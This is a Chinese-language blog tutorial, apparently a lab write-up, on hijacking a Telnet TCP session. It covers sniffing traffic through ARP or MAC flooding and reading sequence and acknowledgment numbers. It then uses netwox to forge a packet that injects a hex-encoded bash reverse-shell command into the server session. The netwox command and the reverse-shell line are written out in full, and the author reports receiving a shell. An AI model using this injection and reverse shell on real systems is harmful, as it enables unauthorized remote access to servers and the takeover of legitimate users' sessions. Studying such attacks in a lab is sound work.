获取到客户端与服务端的TCP建立会话,获取最后一个TCP报文的seq和ack,进行伪造数据包,回应服务端

思路

1. 获取客户端与服务端的TCP会话包 (可利用ARP或MAC洪泛)
2. 观察服务端发给客户端的最后一个TCP报文
3. 同过已知信息,伪造一个数据包发送给服务端
4. 原理:知道下一个期望包的确认号和下一个期望的序列号的值,也就是知道了服务端下一个希望收到客户端的发送包的seq和ack

复现

1. 服务端IP:192.168.0.100
2. 攻击IP:192.168.0.104
3. 攻击服务:telnet
4. 这里就方便演示,攻击IP既是客户端+攻击

攻击服务

  1. 服务:SSH 端口:22 传输:公钥加密传送
  2. 服务:Telnet 端口:23 传输:明文传输

选择Telnet服务原因,是因为Telnet明文传输没有加密
ssh公钥加密传送,并支持压缩,在登录时候就要接受密匙,来进一步提高的安全性;而Telnet没有使用公钥

获取会话数据包

20210804002826.png

获取序列号

将TCP报文的协议首选项中的计算 Relative seqnuence numbers 的默认选项去掉,即不让他默认给我们计算,要伪造TCP包,不能用默认计算后的结果来伪造
2021-8-4-1.9.PNG

采集到得信息

  1. 服务:Telnet
  2. 服务IP端口: 192.168.0.100 Port:23
  3. 客户IP端口192.168.0.104 Port:56732
  4. Next sequence number:3850522516
  5. Acknowledgment number:2138611993

16进制攻击代码

自定义要执行攻击代码,这里就反弹一个Linux Shell
Linux Bash 反弹Shell

bash -i>&/dev/tcp/192.168.0.104/344 0>&1

转换成16进制文本后
在末尾添加0d00
即:0d为\r表示回到首行,00为\n表示换行

62617368202d693e262f6465762f7463702f3139322e3136382e302e3130342f33343420303e26310d00

伪造数据包

  1. 伪造数据包工具:netwox

kali 安装: netwox

apt-get install netwox

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src IP地址 --ip4-dst IP地址 --tcp-src 客户端口 --tcp-dst 服务端口 --tcp-seqnum 值 --tcp-acknum 值 –tcp-ack --tcp-psh --tcp-window 227 --tcp-data “执行代码”


最后实验代码

netwox 40 --ip4-ttl  64 --ip4-protocol  6 --ip4-src 192.168.0.104 --ip4-dst 192.168.0.100   --tcp-src  56732 --tcp-dst 23  --tcp-seqnum 2138611993  --tcp-acknum 3850522516  --tcp-ack  --tcp-psh --tcp-window 227 --tcp-data 62617368202d693e262f6465762f7463702f3139322e3136382e302e3130342f33343420303e26310d00

2021-8-4-0.14.PNG

发送伪造数据包

20210804002841.png

服务端回应

20210804002849.png

成功代码执行,接受到Shell

2021-8-4-0.12.PNG

攻击者冒充了客户端,攻击者Kali将源目IP、源目端口、ACK、SEQ都伪造了,服务端无法判断,服务端给攻击者回应,一旦回应,攻击者Kali直接登录到服务端上
并且真实的客户端连接的Telnet服务会被断开,从而与攻击者Kali建立连接

最后修改:2021 年 08 月 04 日
如果觉得我的文章对你有用,请随意赞赏